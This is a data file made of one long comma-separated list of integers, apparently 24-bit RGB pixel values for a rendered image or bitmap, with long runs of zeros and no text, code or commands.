0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777179,9452032,0,6731519,16777215,11953664,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,102,11993087,16777215,16767888,9483995,16777142,6684672,0,0,0,0,0,6731519,16777215,16777215,16777215,16777179,9452032,3827382,14417919,16777179,11964474,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,14992,11974246,3815936,58,9493503,16777142,6684672,58,6721718,11964474,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,6731519,16777215,14389306,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,14950,9493503,16777215,14389306,0,0,0,102,11993087,16777179,9452032,0,0,102,11993087,16777179,9452032,0,0,0,6731519,16777215,16767926,14408667,14408667,14408667,14399120,6699520,0,0,0,26294,16777215,16777142,6684672,14950,6721718,11974288,9463354,3801088,0,0,0,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,58,9493503,16777215,11953722,0,0,14950,11993087,16777179,9452032,0,58,9493503,16777215,11953664,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,26294,16777215,16777215,16758374,0,0,0,0,0,0,0,0,26294,16777215,16777215,16758374,0,0,0,0,0,0,0,3827344,11983871,16777215,16777215,16777215,14408630,9463354,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,14950,9483995,16777215,16777215,16777215,16777179,11953722,3801088,0,0,0,0,0,0,0,0,58,9493503,16777215,16767888,3801088,0,0,6731519,16777142,6684672,3838171,16777215,16777179,11974326,14408667,14408703,16777142,6684672,0,0,58,9493503,16777179,9452032,58,9493503,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,3827344,14417919,16777179,9452032,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,6731519,16777215,14389306,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,26294,16777215,16777142,6684672,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953664,6731519,16767888,6721755,16777142,6684774,11993087,16777142,6684672,0,3838171,16777215,16758374,3838171,16777215,11953664,0,26294,16777215,16767888,3801088,14992,14417919,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,0,26294,16777215,16767888,3801088,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16777142,6684672,0,102,11993087,16777215,16767888,6699520,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,102,11993087,16777142,6684672,0,0,58,9493503,16777215,11953664,0,14992,14417919,16767888,3801088,14992,14417919,16777215,11953664,0,3838171,16777215,14389306,0,0,0,14992,14417919,16777142,11983871,16777215,11953664,0,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,14408667,11953664,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,26294,16777215,16767926,11983871,16777215,14408667,16777215,16777215,16777215,11953664,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,102,11993087,16777215,16777215,16767963,14417919,16777142,11974399,16777215,14389306,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,102,11993087,16777215,16777215,16767963,14417919,16777179,11974363,16777215,14389306,0,0,26294,16777215,16767926,11983871,16777215,14408667,16777215,16777215,16777142,6684672,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777179,14408630,11974363,16777215,16777179,14399158,11983835,16777215,16777142,6684672,0,26294,16777215,16767926,11983871,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,26294,16777215,16767926,11983871,16777215,14408667,16777215,16777215,16777215,11953664,0,0,58,9493503,16777215,16777215,16767963,14408703,16777142,9474267,16777215,14389306,0,58,9493503,16777215,16777215,16777179,9463440,14417919,16777179,14408703,16777215,16777215,11953664,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,14992,14417919,16767888,3801088,14992,14417919,16777215,11953664,0,6731519,16777215,11953664,0,58,9493503,16777215,14389306,0,0,26294,16777215,16777179,9452032,0,58,9493503,16777215,11953664,0,0,0,0,26294,16777215,16777142,6684672,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,0,3827344,9483958,11964518,3815936,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16758374,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,6731483,16777215,16777215,16777215,16777215,16777215,16777215,16767926,6684672,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,58,3827302,9483995,16777215,16777215,16777215,16777215,16767926,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,11953664,102,11983871,16777215,16777215,16777215,16767888,3801190,11993087,16758374,0,0,6731519,16777215,14399078,6710928,11983835,14417919,14399078,3801088,0,0,0,0,0,3838171,16777215,16777142,6684672,0,3827382,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,11953664,3838171,16777215,16777215,16777215,16777215,14389306,102,11993087,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777142,9452090,3815994,9484031,16777215,16767888,3801088,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,26294,16777215,16777215,14399158,11974326,11974288,3801088,0,0,0,0,0,14992,14408667,14408667,14417919,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,3838171,16777215,16777215,16777215,16777215,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827344,11974326,11983871,16777215,14399158,11964518,3801088,0,0,0,0,58,9493503,16777215,14408630,11974363,14417919,16777179,9452032,0,0,58,9493503,16777215,16758374,3801088,0,6731519,16777215,16767888,3801088,0,0,14992,14417919,16777215,16777215,16777215,16777179,9452032,3827382,14417919,16777215,14389306,0,14992,14417919,16777215,16777215,16777215,16777179,9452032,3827382,14417919,16777215,14389306,0,0,6731519,16777215,16777215,16777215,16777179,9452032,14992,14417919,16777215,14399078,3801088,0,0,0,0,102,11993087,16777215,16777142,6684672,0,0,0,0,0,58,9493503,16777179,9452032,58,9493503,16777179,9452032,0,0,0,0,58,9493503,16777179,9452032,58,9493503,16777179,9452032,0,0,0,0,58,9493503,16777179,9452032,58,9493503,16777179,9452032,0,0,0,0,58,9493503,16777179,9452032,58,9493503,16777179,9452032,0,0,0,0,58,9493503,16777179,9452032,58,9493503,16777179,9452032,0,0,0,0,58,9493503,16777179,9452032,58,9493503,16777179,9452032,0,0,0,0,102,11993087,16767888,3801190,11993087,16777142,6684672,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,6731519,16777215,14389306,0,3838171,16777215,16758374,3838171,16777215,11953664,0,26294,16777215,16767888,3801088,14992,14417919,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,14992,14417919,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,14992,14417919,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,14992,14417919,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,14992,14417919,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16767926,6684672,0,6731483,16777215,16767888,3801088,0,14992,14417919,16777179,9452032,0,0,6731519,16777179,9452090,9493503,16777215,11953664,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,0,26294,16777215,16767888,3801088,0,0,0,14992,14417919,16777179,9452032,0,0,6731519,16777215,14389306,0,0,6731519,16777215,14389306,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,6721755,14408667,16777215,16777215,16777142,9474267,16777215,16777215,16777215,16777215,11953664,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,0,3816038,9483958,11974326,11964518,3815936,3838171,16777215,16758374,0,0,26294,16777215,16767926,11983871,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,3801088,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,58,9493503,16777215,11953664,0,0,0,0,26294,16777215,16777142,6684672,0,26294,16777215,16767888,9484031,16777215,14408667,16777215,16777215,16777215,11953664,0,58,9493503,16777215,11953664,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,58,6721718,11974288,6684672,0,3838134,11974326,9452032,0,0,0,0,58,9493503,16767888,3801088,0,3838171,16777215,11953664,0,0,0,0,26294,16777215,16777215,16777215,16777142,9452032,0,0,0,0,0,0,3827344,11974326,11964518,3815994,9483995,16777215,16767926,6699520,0,0,0,0,26294,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,58,6721718,11974288,6699520,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,6731519,16777215,16777215,14408630,11983871,16777179,11974363,14417919,16777215,16777142,6684672,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,58,9493503,16777215,11953664,58,9493467,14408630,9452032,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,14906,9474230,14408703,16777215,14408592,6699578,0,0,0,0,14992,14417919,16777142,6684672,0,0,102,11993087,16777179,9452032,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,3838171,16777215,16758374,3838171,16777215,16777215,16777215,16777215,16767926,6684672,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,58,6731483,16777215,16777215,16777215,16777215,14408630,6699520,0,0,0,6731519,16777215,16758374,0,0,0,0,3838171,16777215,16777179,9452032,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,58,6721718,14417919,16777215,16777215,16767926,9463354,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827344,11983871,16777215,16777215,16777215,14399120,6699520,0,0,0,0,0,14992,14417919,16777215,16767926,6684672,0,0,58,9493503,16777142,6684730,9493503,16777179,9452032,0,14992,14417919,16777142,6684672,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16767963,14399120,6699520,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,6731519,16777215,14389306,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,14992,14417919,16777215,11953664,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953664,26294,16777179,14408703,16758374,102,11993087,16777142,6684672,0,3838171,16777215,16758374,102,11993087,16758374,0,26294,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,26294,16777215,16767888,3801088,0,0,0,102,11993087,16777215,11953664,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,3838171,16777215,14389306,0,0,0,14950,9493503,16777215,16767888,3801088,0,0,26294,16777215,16777215,16777215,14399120,6699520,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,58,9493503,16777215,11953664,0,0,102,11993087,16777142,6684672,0,14992,14417919,16777142,6684672,14992,14417846,11974399,14389306,0,6731519,16777215,11953664,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,0,0,3838171,16777215,16758374,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,3838171,16777215,16777142,6684672,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,14906,3815994,0,0,0,0,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3816038,11983871,16777215,16758374,0,0,0,26294,16777215,16777215,14399078,3801088,0,58,6731519,16777215,16767888,3801088,0,102,11993087,16777215,16767926,6699520,0,58,3838134,14417919,16767888,3801088,0,3838171,16777215,16777142,6699520,0,0,3827382,16777215,16777215,14389306,0,0,14992,14417919,16777215,14389350,3801088,0,3827344,14417919,16777215,11953664,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,3838171,16777215,16777142,6699520,0,0,3827382,16777215,16777215,14389306,0,0,26294,16777215,16777215,14399078,3801088,0,102,11993087,16777215,11953664,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,58,9493503,16777215,14389306,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777215,11953664,58,9493503,16777179,9452032,102,11993087,16777179,9452032,0,26294,16777215,16777215,16758374,3801088,0,14992,14417919,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,26294,16777215,16777215,14399078,3801088,0,58,6731519,16777215,16767888,3801088,0,3838171,16777215,16777179,9452032,0,0,14992,14417919,16777215,14389306,0,0,0,58,9493503,16777215,11974326,14389306,0,0,6731519,16777215,16758374,0,14992,14417919,16777215,11964474,3801088,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,102,11993087,16777142,6684672,26294,16777179,14408703,11953664,58,9493503,16777179,9452032,0,0,14992,14417919,16777179,9452032,102,11993087,16777215,14389306,0,0,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,6731519,16777215,16777142,6684672,0,0,0,0,0,58,6731519,16777215,16767888,3801088,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,3838171,16777215,16777142,6699520,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,14399120,6699520,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,102,11993087,16777215,16767926,6699578,9493503,14389350,3838134,14417919,16767888,3801088,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,58,9493503,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,0,0,3838171,16777215,16758374,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731483,16777215,16767926,9463354,3815994,3815994,3816038,9483995,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9452090,9493503,16777215,14399120,6710886,